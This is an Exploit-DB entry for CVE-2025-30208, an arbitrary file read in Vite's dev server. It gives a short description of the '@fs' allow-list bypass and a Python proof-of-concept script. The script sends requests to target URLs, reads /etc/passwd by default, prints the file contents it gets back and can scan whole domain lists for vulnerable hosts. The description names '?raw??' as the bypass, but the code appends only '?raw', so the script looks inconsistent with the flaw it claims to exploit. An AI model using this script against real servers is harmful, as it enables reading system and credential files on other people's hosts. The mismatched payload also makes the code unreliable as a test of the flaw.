Exploit-DB #52111
Description: Vite 6.2.2 - Arbitrary File Read
Type: remote
Platform: multiple
Date: 2025-04-03
Author: 4m3rr0r

Exploit:
# Exploit Title: Vite Arbitrary File Read - CVE-2025-30208
# Date: 2025-04-03
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://vitejs.dev/
# Software Link: https://github.com/vitejs/vite
# Version: <= 6.2.2, <= 6.1.1, <= 6.0.11, <= 5.4.14, <= 4.5.9
# Tested on: Ubuntu
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-30208
# https://github.com/advisories/GHSA-x574-m823-4x7w
# CVE : CVE-2025-30208

"""
################
# Description  #
################

Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
"""

import requests
import argparse
import urllib3
from colorama import Fore, Style

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_vulnerability(target, file_path, verbose=False, output=None):
    url = f"{target}{file_path}?raw"
    print(f"{Fore.CYAN}[*] Testing: {url}{Style.RESET_ALL}")

    try:
        response = requests.get(url, timeout=5, verify=False)  # Ignore SSL verification
        if response.status_code == 200 and response.text:
            vuln_message = f"{Fore.GREEN}[+] Vulnerable : {url}{Style.RESET_ALL}"
            print(vuln_message)

            if verbose:
                print(f"\n{Fore.YELLOW}--- File Content Start ---{Style.RESET_ALL}")
                print(response.text[:500])  # Print first 500 characters for safety
                print(f"{Fore.YELLOW}--- File Content End ---{Style.RESET_ALL}\n")

            if output:
                with open(output, 'a') as f:
                    f.write(f"{url}\n")
        else:
            print(f"{Fore.RED}[-] Not vulnerable or file does not exist: {url}{Style.RESET_ALL}")
    except requests.exceptions.RequestException as e:
        print(f"{Fore.YELLOW}[!] Error testing {url}: {e}{Style.RESET_ALL}")

def check_multiple_domains(file_path, file_to_read, verbose, output):
    try:
        with open(file_to_read, 'r') as file:
            domains = file.readlines()
            for domain in domains:
                domain = domain.strip()
                if domain:
                    check_vulnerability(domain, file_path, verbose, output)
    except FileNotFoundError:
        print(f"{Fore.RED}[!] Error: The file '{file_to_read}' does not exist.{Style.RESET_ALL}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC for CVE-2025-30208 - Vite Arbitrary File Read")
    parser.add_argument("target", nargs="?", help="Target URL (e.g., http://localhost:5173)")
    parser.add_argument("-l", "--list", help="File containing list of domains")
    parser.add_argument("-f", "--file", default="/etc/passwd", help="File path to read (default: /etc/passwd)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Show file content if vulnerable")
    parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")

    args = parser.parse_args()

    if args.list:
        check_multiple_domains(args.file, args.list, args.verbose, args.output)
    elif args.target:
        check_vulnerability(args.target, args.file, verbose=args.verbose, output=args.output)
    else:
        print(f"{Fore.RED}Please provide a target URL or a domain list file.{Style.RESET_ALL}")